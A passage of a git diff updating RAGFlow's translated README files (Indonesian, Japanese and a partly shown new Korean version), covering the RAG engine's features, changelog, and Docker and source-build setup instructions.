+
+- [.env](./docker/.env): Menyimpan pengaturan dasar sistem, seperti `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, dan
+  `MINIO_PASSWORD`.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): Mengonfigurasi aplikasi backend.
+- [docker-compose.yml](./docker/docker-compose.yml): Sistem ini bergantung pada [docker-compose.yml](./docker/docker-compose.yml) untuk memulai.
+
+Untuk memperbarui port HTTP default (80), buka [docker-compose.yml](./docker/docker-compose.yml) dan ubah `80:80`
+menjadi `<YOUR_SERVING_PORT>:80`.
+
+Pembaruan konfigurasi ini memerlukan reboot semua kontainer agar efektif:
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+## 🔧 Membangun Docker Image tanpa Model Embedding
+
+Image ini berukuran sekitar 2 GB dan bergantung pada aplikasi LLM eksternal dan embedding.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 Membangun Docker Image Termasuk Model Embedding
+
+Image ini berukuran sekitar 9 GB. Karena sudah termasuk model embedding, ia hanya bergantung pada aplikasi LLM eksternal.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 Menjalankan Aplikasi dari untuk Pengembangan
+
+1. Instal uv, atau lewati langkah ini jika sudah terinstal:
+
+   ```bash
+   pipx install uv
+   ```
+
+2. Clone kode sumber dan instal dependensi Python:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+   ```
+
+3. Jalankan aplikasi yang diperlukan (MinIO, Elasticsearch, Redis, dan MySQL) menggunakan Docker Compose:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   Tambahkan baris berikut ke `/etc/hosts` untuk memetakan semua host yang ditentukan di **conf/service_conf.yaml** ke `127.0.0.1`:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis
+   ```
+
+4. Jika Anda tidak dapat mengakses HuggingFace, atur variabel lingkungan `HF_ENDPOINT` untuk menggunakan situs mirror:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+
+5. Jalankan aplikasi backend:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+
+6. Instal dependensi frontend:
+   ```bash
+   cd web
+   npm install
+   ```
+7. Jalankan aplikasi frontend:
+
+   ```bash
+   npm run dev
+   ```
+
+   _Output berikut menandakan bahwa sistem berhasil diluncurkan:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+
+## 📚 Dokumentasi
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Panduan Pengguna](https://ragflow.io/docs/dev/category/guides)
+- [Referensi](https://ragflow.io/docs/dev/category/references)
+- [FAQ](https://ragflow.io/docs/dev/faq)
+
+## 📜 Roadmap
+
+Lihat [Roadmap RAGFlow 2025](https://github.com/infiniflow/ragflow/issues/4214)
+
+## 🏄 Komunitas
+
+- [Discord](https://discord.gg/4XxujFgUN7)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 Kontribusi
+
+RAGFlow berkembang melalui kolaborasi open-source. Dalam semangat ini, kami menerima kontribusi dari komunitas.
+Jika Anda ingin berpartisipasi, tinjau terlebih dahulu [Panduan Kontribusi](./CONTRIBUTING.md).

README_ja.md

@@ -1,198 +1,325 @@
-<div align="center">
-<a href="https://demo.ragflow.io/">
-<img src="web/src/assets/logo-with-text.png" width="350" alt="ragflow logo">
-</a>
-</div>
-
-<p align="center">
-  <a href="./README.md">English</a> |
-  <a href="./README_zh.md">简体中文</a> |
-  <a href="./README_ja.md">日本語</a>
-</p>
-
-<p align="center">
-    <a href="https://demo.ragflow.io" target="_blank">
-        <img alt="Static Badge" src="https://img.shields.io/badge/RAGFLOW-LLM-white?&labelColor=dd0af7"></a>
-    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v1.0-brightgreen"
-            alt="docker pull infiniflow/ragflow:v0.3.0"></a>
-      <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
-    <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?style=flat-square&labelColor=d4eaf7&color=7d09f1" alt="license">
-  </a>
-</p>
-
-## 💡 RAGFlow とは？
-
-[RAGFlow](https://demo.ragflow.io) は、深い文書理解に基づいたオープンソースの RAG (Retrieval-Augmented Generation) エンジンである。LLM（大規模言語モデル）を組み合わせることで、様々な複雑なフォーマットのデータから根拠のある引用に裏打ちされた、信頼できる質問応答機能を実現し、あらゆる規模のビジネスに適した RAG ワークフローを提供します。
-
-## 🌟 主な特徴
-
-### 🍭 **"Quality in, quality out"**
-
-- 複雑な形式の非構造化データからの[深い文書理解](./deepdoc/README.md)ベースの知識抽出。
-- 無限のトークンから"干し草の山の中の針"を見つける。
-
-### 🍱 **テンプレートベースのチャンク化**
-
-- 知的で解釈しやすい。
-- テンプレートオプションが豊富。
-
-### 🌱 **ハルシネーションが軽減された根拠のある引用**
-
-- 可視化されたテキストチャンキング（text chunking）で人間の介入を可能にする。
-- 重要な参考文献のクイックビューと、追跡可能な引用によって根拠ある答えをサポートする。
-
-### 🍔 **多様なデータソースとの互換性**
-
-- Word、スライド、Excel、txt、画像、スキャンコピー、構造化データ、Web ページなどをサポート。
-
-### 🛀 **自動化された楽な RAG ワークフロー**
-
-- 個人から大企業まで対応できる RAG オーケストレーション（orchestration）。
-- カスタマイズ可能な LLM とエンベッディングモデル。
-- 複数の想起と融合された再ランク付け。
-- 直感的な API によってビジネスとの統合がシームレスに。
-
-## 📌 最新の機能
-
-- 2024-04-19 会話 API をサポートします([詳細](./docs/conversation_api.md))。
-- 2024-04-16 [BCEmbedding](https://github.com/netease-youdao/BCEmbedding) から埋め込みモデル「bce-embedding-base_v1」を追加します。
-- 2024-04-16 [FastEmbed](https://github.com/qdrant/fastembed) は、軽量かつ高速な埋め込み用に設計されています。
-- 2024-04-11 ローカル LLM デプロイメント用に [Xinference](./docs/xinference.md) をサポートします。
-- 2024-04-10 メソッド「Laws」に新しいレイアウト認識モデルを追加します。
-- 2024-04-08 [Ollama](./docs/ollama.md) を使用した大規模モデルのローカライズされたデプロイメントをサポートします。
-- 2024-04-07 中国語インターフェースをサポートします。
-
-## 🔎 システム構成
-
-<div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/12318111/d6ac5664-c237-4200-a7c2-a4a00691b485" width="1000"/>
-</div>
-
-## 🎬 初期設定
-
-### 📝 必要条件
-
-- CPU >= 4 cores
-- RAM >= 12 GB
-- Docker >= 24.0.0 & Docker Compose >= v2.26.1
-  > ローカルマシン（Windows、Mac、または Linux）に Docker をインストールしていない場合は、[Docker Engine のインストール](https://docs.docker.com/engine/install/) を参照してください。
-
-### 🚀 サーバーを起動
-
-1. `vm.max_map_count` >= 262144 であることを確認する【[もっと](./docs/max_map_count.md)】:
-
-   > `vm.max_map_count` の値をチェックするには:
-   >
-   > ```bash
-   > $ sysctl vm.max_map_count
-   > ```
-   >
-   > `vm.max_map_count` が 262144 より大きい値でなければリセットする。
-   >
-   > ```bash
-   > # In this case, we set it to 262144:
-   > $ sudo sysctl -w vm.max_map_count=262144
-   > ```
-   >
-   > この変更はシステム再起動後にリセットされる。変更を恒久的なものにするには、**/etc/sysctl.conf** の `vm.max_map_count` 値を適宜追加または更新する:
-   >
-   > ```bash
-   > vm.max_map_count=262144
-   > ```
-
-2. リポジトリをクローンする:
-
-   ```bash
-   $ git clone https://github.com/infiniflow/ragflow.git
-   ```
-
-3. ビルド済みの Docker イメージをビルドし、サーバーを起動する:
-
-   ```bash
-   $ cd ragflow/docker
-   $ chmod +x ./entrypoint.sh
-   $ docker compose up -d
-   ```
-
-   > コアイメージのサイズは約 15 GB で、ロードに時間がかかる場合があります。
-
-4. サーバーを立ち上げた後、サーバーの状態を確認する:
-
-   ```bash
-   $ docker logs -f ragflow-server
-   ```
-
-   _以下の出力は、システムが正常に起動したことを確認するものです:_
-
-   ```bash
-       ____                 ______ __
-      / __ \ ____ _ ____ _ / ____// /____  _      __
-     / /_/ // __ `// __ `// /_   / // __ \| | /| / /
-    / _, _// /_/ // /_/ // __/  / // /_/ /| |/ |/ /
-   /_/ |_| \__,_/ \__, //_/    /_/ \____/ |__/|__/
-                 /____/
-
-    * Running on all addresses (0.0.0.0)
-    * Running on http://127.0.0.1:9380
-    * Running on http://x.x.x.x:9380
-    INFO:werkzeug:Press CTRL+C to quit
-   ```
-
-5. ウェブブラウザで、プロンプトに従ってサーバーの IP アドレスを入力し、RAGFlow にログインします。
-   > デフォルトの設定を使用する場合、デフォルトの HTTP サービングポート `80` は省略できるので、与えられたシナリオでは、`http://IP_OF_YOUR_MACHINE`（ポート番号は省略）だけを入力すればよい。
-6. [service_conf.yaml](./docker/service_conf.yaml) で、`user_default_llm` で希望の LLM ファクトリを選択し、`API_KEY` フィールドを対応する API キーで更新する。
-
-   > 詳しくは [./docs/llm_api_key_setup.md](./docs/llm_api_key_setup.md) を参照してください。
-
-   _これで初期設定完了！ショーの開幕です！_
-
-## 🔧 コンフィグ
-
-システムコンフィグに関しては、以下のファイルを管理する必要がある:
-
-- [.env](./docker/.env): `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` などのシステムの基本設定を保持する。
-- [service_conf.yaml](./docker/service_conf.yaml): バックエンドのサービスを設定します。
-- [docker-compose.yml](./docker/docker-compose.yml): システムの起動は [docker-compose.yml](./docker/docker-compose.yml) に依存している。
-
-[.env](./docker/.env) ファイルの変更が [service_conf.yaml](./docker/service_conf.yaml) ファイルの内容と一致していることを確認する必要があります。
-
-> [./docker/README](./docker/README.md) ファイルは環境設定とサービスコンフィグの詳細な説明を提供し、[./docker/README](./docker/README.md) ファイルに記載されている全ての環境設定が [service_conf.yaml](./docker/service_conf.yaml) ファイルの対応するコンフィグと一致していることを確認することが義務付けられています。
-
-デフォルトの HTTP サービングポート(80)を更新するには、[docker-compose.yml](./docker/docker-compose.yml) にアクセスして、`80:80` を `<YOUR_SERVING_PORT>:80` に変更します。
-
-> すべてのシステム設定のアップデートを有効にするには、システムの再起動が必要です:
->
-> ```bash
-> $ docker-compose up -d
-> ```
-
-## 🛠️ ソースからビルドする
-
-ソースからDockerイメージをビルドするには:
-
-```bash
-$ git clone https://github.com/infiniflow/ragflow.git
-$ cd ragflow/
-$ docker build -t infiniflow/ragflow:v0.3.0 .
-$ cd ragflow/docker
-$ chmod +x ./entrypoint.sh
-$ docker compose up -d
-```
-
-## 📚 ドキュメンテーション
-
-- [FAQ](./docs/faq.md)
-
-## 📜 ロードマップ
-
-[RAGFlow ロードマップ 2024](https://github.com/infiniflow/ragflow/issues/162) を参照
-
-## 🏄 コミュニティ
-
-- [Discord](https://discord.gg/4XxujFgUN7)
-- [Twitter](https://twitter.com/infiniflowai)
-
-## 🙌 コントリビュート
-
-RAGFlow はオープンソースのコラボレーションによって発展してきました。この精神に基づき、私たちはコミュニティからの多様なコントリビュートを受け入れています。 参加を希望される方は、まず[コントリビューションガイド](https://github.com/infiniflow/ragflow/blob/main/docs/CONTRIBUTING.md)をご覧ください。
+<div align="center">
+<a href="https://demo.ragflow.io/">
+<img src="web/src/assets/logo-with-text.png" width="350" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md">English</a> |
+  <a href="./README_zh.md">简体中文</a> |
+  <a href="./README_tzh.md">繁体中文</a> |
+  <a href="./README_ja.md">日本語</a> |
+  <a href="./README_ko.md">한국어</a> |
+  <a href="./README_id.md">Bahasa Indonesia</a> |
+  <a href="/README_pt_br.md">Português (Brasil)</a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="follow on X(Twitter)">
+    </a>
+    <a href="https://demo.ragflow.io" target="_blank">
+        <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.17.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.17.0">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/4214">Roadmap</a> |
+  <a href="https://twitter.com/infiniflowai">Twitter</a> |
+  <a href="https://discord.gg/4XxujFgUN7">Discord</a> |
+  <a href="https://demo.ragflow.io">Demo</a>
+</h4>
+
+## 💡 RAGFlow とは？
+
+[RAGFlow](https://ragflow.io/) は、深い文書理解に基づいたオープンソースの RAG (Retrieval-Augmented Generation) エンジンである。LLM（大規模言語モデル）を組み合わせることで、様々な複雑なフォーマットのデータから根拠のある引用に裏打ちされた、信頼できる質問応答機能を実現し、あらゆる規模のビジネスに適した RAG ワークフローを提供します。
+
+## 🎮 Demo
+
+デモをお試しください：[https://demo.ragflow.io](https://demo.ragflow.io)。
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
+<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+</div>
+
+## 🔥 最新情報
+
+- 2025-02-05 シリコン フローの St およびモデル リストを更新し、Deep Seek-R1/Deep Seek-V3 のサポートを追加しました。
+- 2025-01-26 ナレッジ グラフの抽出と適用を最適化し、さまざまな構成オプションを提供します。
+- 2024-12-18 DeepDoc のドキュメント レイアウト分析モデルをアップグレードします。
+- 2024-12-04 ナレッジ ベースへのページランク スコアをサポートしました。
+- 2024-11-22 エージェントでの変数の定義と使用法を改善しました。
+- 2024-11-01 再現の精度を向上させるために、解析されたチャンクにキーワード抽出と関連質問の生成を追加しました。
+- 2024-08-22 RAG を介して SQL ステートメントへのテキストをサポートします。
+
+## 🎉 続きを楽しみに
+
+⭐️ リポジトリをスター登録して、エキサイティングな新機能やアップデートを最新の状態に保ちましょう！すべての新しいリリースに関する即時通知を受け取れます！ 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 主な特徴
+
+### 🍭 **"Quality in, quality out"**
+
+- 複雑な形式の非構造化データからの[深い文書理解](./deepdoc/README.md)ベースの知識抽出。
+- 無限のトークンから"干し草の山の中の針"を見つける。
+
+### 🍱 **テンプレートベースのチャンク化**
+
+- 知的で解釈しやすい。
+- テンプレートオプションが豊富。
+
+### 🌱 **ハルシネーションが軽減された根拠のある引用**
+
+- 可視化されたテキストチャンキング（text chunking）で人間の介入を可能にする。
+- 重要な参考文献のクイックビューと、追跡可能な引用によって根拠ある答えをサポートする。
+
+### 🍔 **多様なデータソースとの互換性**
+
+- Word、スライド、Excel、txt、画像、スキャンコピー、構造化データ、Web ページなどをサポート。
+
+### 🛀 **自動化された楽な RAG ワークフロー**
+
+- 個人から大企業まで対応できる RAG オーケストレーション（orchestration）。
+- カスタマイズ可能な LLM とエンベッディングモデル。
+- 複数の想起と融合された再ランク付け。
+- 直感的な API によってビジネスとの統合がシームレスに。
+
+## 🔎 システム構成
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/12318111/d6ac5664-c237-4200-a7c2-a4a00691b485" width="1000"/>
+</div>
+
+## 🎬 初期設定
+
+### 📝 必要条件
+
+- CPU >= 4 cores
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+  > ローカルマシン（Windows、Mac、または Linux）に Docker をインストールしていない場合は、[Docker Engine のインストール](https://docs.docker.com/engine/install/) を参照してください。
+
+### 🚀 サーバーを起動
+
+1. `vm.max_map_count` >= 262144 であることを確認する:
+
+   > `vm.max_map_count` の値をチェックするには:
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > `vm.max_map_count` が 262144 より大きい値でなければリセットする。
+   >
+   > ```bash
+   > # In this case, we set it to 262144:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > この変更はシステム再起動後にリセットされる。変更を恒久的なものにするには、**/etc/sysctl.conf** の `vm.max_map_count` 値を適宜追加または更新する:
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+
+2. リポジトリをクローンする:
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+
+3. ビルド済みの Docker イメージをビルドし、サーバーを起動する:
+
+   > 以下のコマンドは、RAGFlow Docker イメージの v0.17.0-slim エディションをダウンロードします。異なる RAGFlow エディションの説明については、以下の表を参照してください。v0.17.0-slim とは異なるエディションをダウンロードするには、docker/.env ファイルの RAGFLOW_IMAGE 変数を適宜更新し、docker compose を使用してサーバーを起動してください。例えば、完全版 v0.17.0 をダウンロードするには、RAGFLOW_IMAGE=infiniflow/ragflow:v0.17.0 と設定します。
+
+   ```bash
+   $ cd ragflow/docker
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+   | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
+   | ----------------- | --------------- | --------------------- | ------------------------ |
+   | v0.17.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
+   | v0.17.0-slim      | &approx;2       | ❌                    | Stable release           |
+   | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
+   | nightly-slim      | &approx;2       | ❌                     | _Unstable_ nightly build |
+
+4. サーバーを立ち上げた後、サーバーの状態を確認する:
+
+   ```bash
+   $ docker logs -f ragflow-server
+   ```
+
+   _以下の出力は、システムが正常に起動したことを確認するものです:_
+
+   ```bash
+        ____   ___    ______ ______ __
+       / __ \ /   |  / ____// ____// /____  _      __
+      / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+     / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+    /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > もし確認ステップをスキップして直接 RAGFlow にログインした場合、その時点で RAGFlow が完全に初期化されていない可能性があるため、ブラウザーがネットワーク異常エラーを表示するかもしれません。
+
+5. ウェブブラウザで、プロンプトに従ってサーバーの IP アドレスを入力し、RAGFlow にログインします。
+   > デフォルトの設定を使用する場合、デフォルトの HTTP サービングポート `80` は省略できるので、与えられたシナリオでは、`http://IP_OF_YOUR_MACHINE`（ポート番号は省略）だけを入力すればよい。
+6. [service_conf.yaml.template](./docker/service_conf.yaml.template) で、`user_default_llm` で希望の LLM ファクトリを選択し、`API_KEY` フィールドを対応する API キーで更新する。
+
+   > 詳しくは [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) を参照してください。
+
+   _これで初期設定完了！ショーの開幕です！_
+
+## 🔧 コンフィグ
+
+システムコンフィグに関しては、以下のファイルを管理する必要がある:
+
+- [.env](./docker/.env): `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` などのシステムの基本設定を保持する。
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): バックエンドのサービスを設定します。
+- [docker-compose.yml](./docker/docker-compose.yml): システムの起動は [docker-compose.yml](./docker/docker-compose.yml) に依存している。
+
+[.env](./docker/.env) ファイルの変更が [service_conf.yaml.template](./docker/service_conf.yaml.template) ファイルの内容と一致していることを確認する必要があります。
+
+> [./docker/README](./docker/README.md) ファイル ./docker/README には、service_conf.yaml.template ファイルで ${ENV_VARS} として使用できる環境設定とサービス構成の詳細な説明が含まれています。
+
+デフォルトの HTTP サービングポート(80)を更新するには、[docker-compose.yml](./docker/docker-compose.yml) にアクセスして、`80:80` を `<YOUR_SERVING_PORT>:80` に変更します。
+
+> すべてのシステム設定のアップデートを有効にするには、システムの再起動が必要です:
+>
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Elasticsearch から Infinity にドキュメントエンジンを切り替えます
+
+RAGFlow はデフォルトで Elasticsearch を使用して全文とベクトルを保存します。［Infinity］に切り替え（https://github.com/infiniflow/infinity/)、次の手順に従います。
+
+1. 実行中のすべてのコンテナを停止するには：
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+   Note: `-v` は docker コンテナのボリュームを削除し、既存のデータをクリアします。
+2. **docker/.env** の「DOC \_ ENGINE」を「infinity」に設定します。
+
+3. 起動コンテナ：
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+   > [!WARNING]  
+   > Linux/arm64 マシンでの Infinity への切り替えは正式にサポートされていません。
+
+## 🔧 ソースコードで Docker イメージを作成（埋め込みモデルなし）
+
+この Docker イメージのサイズは約 1GB で、外部の大モデルと埋め込みサービスに依存しています。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+```
+
+## 🔧 ソースコードをコンパイルした Docker イメージ（埋め込みモデルを含む）
+
+この Docker のサイズは約 9GB で、埋め込みモデルを含むため、外部の大モデルサービスのみが必要です。
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 ソースコードからサービスを起動する方法
+
+1. uv をインストールする。すでにインストールされている場合は、このステップをスキップしてください:
+
+   ```bash
+   pipx install uv
+   ```
+
+2. ソースコードをクローンし、Python の依存関係をインストールする:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules
+   ```
+
+3. Docker Compose を使用して依存サービス（MinIO、Elasticsearch、Redis、MySQL）を起動する:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   `/etc/hosts` に以下の行を追加して、**conf/service_conf.yaml** に指定されたすべてのホストを `127.0.0.1` に解決します:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis
+   ```
+
+4. HuggingFace にアクセスできない場合は、`HF_ENDPOINT` 環境変数を設定してミラーサイトを使用してください:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+
+5. バックエンドサービスを起動する:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+
+6. フロントエンドの依存関係をインストールする:
+   ```bash
+   cd web
+   npm install
+   ```
+7. フロントエンドサービスを起動する:
+
+   ```bash
+   npm run dev
+   ```
+
+   _以下の画面で、システムが正常に起動したことを示します:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+
+## 📚 ドキュメンテーション
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [User guide](https://ragflow.io/docs/dev/category/guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQ](https://ragflow.io/docs/dev/faq)
+
+## 📜 ロードマップ
+
+[RAGFlow ロードマップ 2025](https://github.com/infiniflow/ragflow/issues/4214) を参照
+
+## 🏄 コミュニティ
+
+- [Discord](https://discord.gg/4XxujFgUN7)
+- [Twitter](https://twitter.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 コントリビュート
+
+RAGFlow はオープンソースのコラボレーションによって発展してきました。この精神に基づき、私たちはコミュニティからの多様なコントリビュートを受け入れています。 参加を希望される方は、まず [コントリビューションガイド](./CONTRIBUTING.md)をご覧ください。

README_ko.md

@@ -0,0 +1,325 @@
+<div align="center">
+<a href="https://demo.ragflow.io/">
+<img src="web/src/assets/logo-with-text.png" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md">English</a> |
+  <a href="./README_zh.md">简体中文</a> |
+  <a href="./README_tzh.md">繁体中文</a> |
+  <a href="./README_ja.md">日本語</a> |
+  <a href="./README_ko.md">한국어</a> |
+  <a href="./README_id.md">Bahasa Indonesia</a> |
+  <a href="/README_pt_br.md">Português (Brasil)</a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="follow on X(Twitter)">
+    </a>
+    <a href="https://demo.ragflow.io" target="_blank">
+        <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.17.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.17.0">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/4214">Roadmap</a> |
+  <a href="https://twitter.com/infiniflowai">Twitter</a> |
+  <a href="https://discord.gg/4XxujFgUN7">Discord</a> |
+  <a href="https://demo.ragflow.io">Demo</a>
+</h4>
+
+## 💡 RAGFlow란?
+
+[RAGFlow](https://ragflow.io/)는 심층 문서 이해에 기반한 오픈소스 RAG (Retrieval-Augmented Generation) 엔진입니다. 이 엔진은 대규모 언어 모델(LLM)과 결합하여 정확한 질문 응답 기능을 제공하며, 다양한 복잡한 형식의 데이터에서 신뢰할 수 있는 출처를 바탕으로 한 인용을 통해 이를 뒷받침합니다. RAGFlow는 규모에 상관없이 모든 기업에 최적화된 RAG 워크플로우를 제공합니다.
+
+## 🎮 데모
+
+데모를 [https://demo.ragflow.io](https://demo.ragflow.io)에서 실행해 보세요.
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
+<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+</div>
+
+## 🔥 업데이트
+
+- 2025-02-05 'SILICONFLOW' 모델 목록을 업데이트하고 Deepseek-R1/DeepSeek-V3에 대한 지원을 추가합니다.
+- 2025-01-26 지식 그래프 추출 및 적용을 최적화하고 다양한 구성 옵션을 제공합니다.
+- 2024-12-18 DeepDoc의 문서 레이아웃 분석 모델 업그레이드.
+- 2024-12-04 지식베이스에 대한 페이지랭크 점수를 지원합니다.
+
+- 2024-11-22 에이전트의 변수 정의 및 사용을 개선했습니다.
+- 2024-11-01 파싱된 청크에 키워드 추출 및 관련 질문 생성을 추가하여 재현율을 향상시킵니다.
+- 2024-08-22 RAG를 통해 SQL 문에 텍스트를 지원합니다.
+
+## 🎉 계속 지켜봐 주세요
+
+⭐️우리의 저장소를 즐겨찾기에 등록하여 흥미로운 새로운 기능과 업데이트를 최신 상태로 유지하세요! 모든 새로운 릴리스에 대한 즉시 알림을 받으세요! 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 주요 기능
+
+### 🍭 **"Quality in, quality out"**
+
+- [심층 문서 이해](./deepdoc/README.md)를 기반으로 복잡한 형식의 비정형 데이터에서 지식을 추출합니다.
+- 문자 그대로 무한한 토큰에서 "데이터 속의 바늘"을 찾아냅니다.
+
+### 🍱 **템플릿 기반의 chunking**
+
+- 똑똑하고 설명 가능한 방식.
+- 다양한 템플릿 옵션을 제공합니다.
+
+### 🌱 **할루시네이션을 줄인 신뢰할 수 있는 인용**
+
+- 텍스트 청킹을 시각화하여 사용자가 개입할 수 있도록 합니다.
+- 중요한 참고 자료와 추적 가능한 인용을 빠르게 확인하여 신뢰할 수 있는 답변을 지원합니다.
+
+### 🍔 **다른 종류의 데이터 소스와의 호환성**
+
+- 워드, 슬라이드, 엑셀, 텍스트 파일, 이미지, 스캔본, 구조화된 데이터, 웹 페이지 등을 지원합니다.
+
+### 🛀 **자동화되고 손쉬운 RAG 워크플로우**
+
+- 개인 및 대규모 비즈니스에 맞춘 효율적인 RAG 오케스트레이션.
+- 구성 가능한 LLM 및 임베딩 모델.
+- 다중 검색과 결합된 re-ranking.
+- 비즈니스와 원활하게 통합할 수 있는 직관적인 API.
+
+## 🔎 시스템 아키텍처
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
